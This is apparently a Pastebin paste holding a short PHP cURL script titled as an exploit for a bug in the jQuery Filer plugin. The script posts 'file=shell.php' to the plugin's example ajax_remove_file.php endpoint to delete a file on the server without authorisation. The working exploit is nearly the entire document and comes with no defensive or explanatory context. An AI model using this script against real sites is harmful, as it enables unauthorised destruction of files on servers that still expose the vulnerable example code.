ToKeiChun

PHP Curl to Remove File in Bug Jquery Filer

Apr 8th, 2019
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. <?php
  2. $ch = curl_init();
  3.  
  4. curl_setopt($ch, CURLOPT_URL,"https://localhost/vendor/jquery.filer/examples/dragdrop/php/ajax_remove_file.php");
  5. curl_setopt($ch, CURLOPT_POST, 1);
  6. curl_setopt($ch, CURLOPT_POSTFIELDS,
  7. "file=shell.php");
  8.  
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  10.  
  11. $server_output = curl_exec($ch);
  12. curl_close ($ch);
  13. ?>
Add Comment
Please, Sign In to add comment